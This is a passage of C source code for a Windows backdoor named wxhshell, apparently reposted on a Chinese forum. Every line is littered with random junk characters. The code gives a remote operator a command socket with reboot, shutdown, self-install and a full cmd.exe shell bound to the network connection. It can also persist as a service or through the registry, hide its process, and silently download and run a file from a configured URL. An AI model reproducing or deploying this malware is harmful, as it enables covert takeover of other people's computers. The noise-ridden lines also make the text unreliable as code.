  AYNz {9  
  // 帮助 <!dZ=9^^ 1  
  case '?': { Tx ?s?DwC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q|YnNk>1  
    break; Wr Wz+5M8  
  } R]od/u/$  
  // 安装 v2|zIZ  
  case 'i': { }!g$k $y  
    if(Install()) 4-O.i\1q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hpOY&7QUTD  
    else G} [$M"}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G]l/L\{  
    break; |x.[*'X@  
    } J{Ij  
  // 卸载 mC ]Krnx  
  case 'r': { tklS=R^Vn  
    if(Uninstall()) k5&}bj-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #5;4O{  
    else >Dv=lgPF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H{P*d=9v  
    break; /L,iF?7  
    } \(Dm\7Q.  
  // 显示 wxhshell 所在路径 $xvwnbq#y  
  case 'p': { -XECYwTh  
    char svExeFile[MAX_PATH]; +L?;g pVE&  
    strcpy(svExeFile,"\n\r"); = r=/L  
      strcat(svExeFile,ExeFile); B%Oi1bO  
        send(wsh,svExeFile,strlen(svExeFile),0); Uwiy@ T Z  
    break; I-s$U T[p  
    } e,vgD kI;  
  // 重启 <O9WCl  
  case 'b': { t2ui9:g4j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Pw|/PfG  
    if(Boot(REBOOT)) #SLi v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `5t~ Vlp  
    else { 99h#M3@!  
    closesocket(wsh); /\jRr7 Cd  
    ExitThread(0); -?T|1FA,  
    } ^-# :T  
    break; vO{[P# L}  
    } 1i Y?t  
  // 关机 Z _<Wr7D  
  case 'd': { +DT tKj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AxJf\B8  
    if(Boot(SHUTDOWN)) 0} \;R5a<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 xrmmK  
    else { G* mLb1  
    closesocket(wsh); o,1Fzdh6(  
    ExitThread(0); uN9.U  _  
    } arPqVMVr  
    break; :fG9p`  
    } 2\}6b4  
  // 获取shell .dBW{|gN  
  case 's': { 5tb i};  
    CmdShell(wsh); kJXy )  
    closesocket(wsh); Q!Dr3x  
    ExitThread(0); Izfj 9h ?  
    break; 53 ^1;  
  } AQBr{^inH|  
  // 退出 0w^awT<$6  
  case 'x': { {-c[w&q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .Wyx#9  
    CloseIt(wsh); wCr+/" t  
    break; i V%tn{fc  
    } @n=FSn6 c  
  // 离开 5#? HL  
  case 'q': { 9T;l*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QEL3b4Vm  
    closesocket(wsh); 1K$8F ~%Z  
    WSACleanup(); 47/YD y%  
    exit(1); `WU"*HqW  
    break; LTY(6we-  
        } S1$&  
  } V,9UOC,Gn  
  } BI)$aR  
ErMA$UkJ  
  // 提示信息 rUF= uO(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y'LIk Q\  
} g60r m1b  
  } 2ap0/l[  
.7zdA IKW  
  return; 5@Lz4 `  
} +Y^/0=6h  
eYjr/`>O  
// shell模块句柄 UD r@  
int CmdShell(SOCKET sock) Jqi^Z*PuX  
{ ?< $DQ%bf  
STARTUPINFO si; ^$O,Gy)V  
ZeroMemory(&si,sizeof(si)); HQ8;d9cGir  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  Et0;1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b{d@:"  
PROCESS_INFORMATION ProcessInfo; t?kbN\,  
char cmdline[]="cmd"; n|iO)L\9aB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^RS`q+g  
  return 0; |N>TPK&Xt  
} ?G!DYUK  
q:v&wb%  
// 自身启动模式 of:xj$dQ_  
int StartFromService(void) E^jb#9\R  
{ [<{+tAdn)  
typedef struct '.DFyHsq  
{ E>SLR8!C v  
  DWORD ExitStatus; HTCn=MZm ?  
  DWORD PebBaseAddress; >'lte&  
  DWORD AffinityMask; -5yEd>Z  
  DWORD BasePriority; "Tm`V9  
  ULONG UniqueProcessId; *] cm{N  
  ULONG InheritedFromUniqueProcessId; y| %rW  
}   PROCESS_BASIC_INFORMATION; h|1 /Q (  
Ey;uaqt  
PROCNTQSIP NtQueryInformationProcess; 7l3sd5  
n P4DHb&5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dAcy;-[[P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ',p`B-dw  
h{cJ S9e}  
  HANDLE             hProcess; toCT5E_0=  
  PROCESS_BASIC_INFORMATION pbi; * <_8]C0>  
VS\~t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qMe$Qr8  
  if(NULL == hInst ) return 0; 9rmOf Jo:  
oUBn:Ir@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $/Q*@4t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7.l[tKh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g k[8'  
LN?W~^gsR  
  if (!NtQueryInformationProcess) return 0; uN1O(s  
=7mn= w?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qG%'Lt  
  if(!hProcess) return 0; G u-#wv5@  
%9A6c(L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |^i+Srh  
bEE'50 D  
  CloseHandle(hProcess); i7w>Nvj]  
E(oI0*S.5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <x),HTJ  
if(hProcess==NULL) return 0; z\8Kz ]n~  
F\Gi;6a  
HMODULE hMod; : )\<  
char procName[255]; $>;U^-#3  
unsigned long cbNeeded; C<\|4ERp  
G_~w0r#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g3(fhfR'RN  
T0ebW w  
  CloseHandle(hProcess); (P[:g  
h+! Ld^'c  
if(strstr(procName,"services")) return 1; // 以服务启动 : YU_ \EV  
Xj&fWu A  
  return 0; // 注册表启动 --S2lN/:T  
} w"O^CR)  
V\"x#uB  
// 主模块 m]$!wp  
int StartWxhshell(LPSTR lpCmdLine)  T^ ^o  
{ S& % G B  
  SOCKET wsl; %klC& _g~_  
BOOL val=TRUE; mh"&KX86W  
  int port=0; lmZ Ssx  
  struct sockaddr_in door; FaC;vuSpy  
M3350  
  if(wscfg.ws_autoins) Install(); S3u>a\  
'8v^.gZ  
port=atoi(lpCmdLine); geL)v7t+#  
 DKu4e  
if(port<=0) port=wscfg.ws_port; 8-c1q*q)  
Bg*Oj)NM  
  WSADATA data; }^;Tt-*k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bBBW7',[a  
#]'#\d#i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3PLv;@!#j}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (8u.Xbdh  
  door.sin_family = AF_INET; 3eqnc),Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )Ab!R:4  
  door.sin_port = htons(port); vcnUb$%  
k1HukGa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pzP~,cdf  
closesocket(wsl); iXt >!f*  
return 1; gf^"s fNk  
} NZSP*#!B  
lz?F ,].  
  if(listen(wsl,2) == INVALID_SOCKET) { 4 e1=b,  
closesocket(wsl); ^9 gFW $]  
return 1; *4;MO2g  
} {1.t ZCMT  
  Wxhshell(wsl); i w<2|]>l  
  WSACleanup(); PK@hf[YHe  
B(x i  
return 0; ^<#08L;  
/ov&h;  
} FV>LD% uu  
< ) L'h  
// 以NT服务方式启动 gN|[n.W4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y,i:BQJ<  
{ }u0t i"V  
DWORD   status = 0; Bkvh]k;F8  
  DWORD   specificError = 0xfffffff; qh!2dj  
Np=IZ npt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lV/-jkR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6C>"H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c8I : jDk:  
  serviceStatus.dwWin32ExitCode     = 0; Nh7+Vl  
  serviceStatus.dwServiceSpecificExitCode = 0; |'xVU8  
  serviceStatus.dwCheckPoint       = 0; gf()NfUvRH  
  serviceStatus.dwWaitHint       = 0; M/XxiF  
!j,LS$tPu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #;?j]npg]  
  if (hServiceStatusHandle==0) return; YoV^Y&:9<  
5_@ u Be~  
status = GetLastError(); sBGYgBu!a  
  if (status!=NO_ERROR) Ly1V@  
{ o qa]iBO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #E%0 o  
    serviceStatus.dwCheckPoint       = 0; LwQq0<v  
    serviceStatus.dwWaitHint       = 0; r]p 0O(  
    serviceStatus.dwWin32ExitCode     = status; (a0q*iC%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5T)qn`%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y -j3d)T  
    return; O)78 iEXi|  
  } X(nbfh?n  
I;]Q}SUsm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S3rN]!B+  
  serviceStatus.dwCheckPoint       = 0; <RfPd+</  
  serviceStatus.dwWaitHint       = 0; }=CL/JHz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?z>7&  
} E?1"&D m  
c|8[$_2  
// 处理NT服务事件,比如:启动、停止 y%A!|aBu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1Uzsw  
{ >6ul\xMU  
switch(fdwControl) &L[oQni];2  
{ bM[!E8dF  
case SERVICE_CONTROL_STOP: Ergh]"AD6-  
  serviceStatus.dwWin32ExitCode = 0; Y;ytm #=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2JNO@  
  serviceStatus.dwCheckPoint   = 0; &eYnO~$!  
  serviceStatus.dwWaitHint     = 0; O(U 'G|  
  { ZSC Zt&2v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I^>m-M.  
  }  II;fBcXF  
  return; / 4P+  
case SERVICE_CONTROL_PAUSE: :td#zM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w8$rt  
  break; 56k89o  
case SERVICE_CONTROL_CONTINUE: VPG+]> *  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v0762w  
  break; $I40 hk  
case SERVICE_CONTROL_INTERROGATE: 69#D,ME?  
  break; n\8;4]n  
}; 0'T*l 2Z`2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gFR9!=,/V%  
} >\=~2>FCD  
5g9lO]WDI  
// 标准应用程序主函数 4FK|y&p4r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $89hkUuTu^  
{ Ig9yd S-.  
FV>j !>Y  
// 获取操作系统版本 am >X7  
OsIsNt=GetOsVer(); y5;l?v94  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $2u^z=`b!%  
HPT{83  
  // 从命令行安装 i[obQx S94  
  if(strpbrk(lpCmdLine,"iI")) Install(); U40adP? a  
Jj=0{(X  
  // 下载执行文件 [C)JI;\  
if(wscfg.ws_downexe) { KLqn`m`O;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6q^Tq {I  
  WinExec(wscfg.ws_filenam,SW_HIDE); ].Mr&@  
} @]$qJFXx  
"vVL52HwB  
if(!OsIsNt) { %n<u- {`  
// 如果时win9x,隐藏进程并且设置为注册表启动 r83chR9  
HideProc(); Q"UWh~  
StartWxhshell(lpCmdLine); ^6*LuXPv  
} HZ$q`e  
else ;4DqtR"7Y  
  if(StartFromService()) 6- H81y 3  
  // 以服务方式启动 V\k?$}  
  StartServiceCtrlDispatcher(DispatchTable); L`E^BuP/  
else Z]-C,8MM  
  // 普通方式启动 pAwmQS\W  
  StartWxhshell(lpCmdLine); C1 qyjlR  
)U4h?J  
return 0; Q}# 5mf&cD  
}
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只看该作者 1 发表于: 2006-10-10
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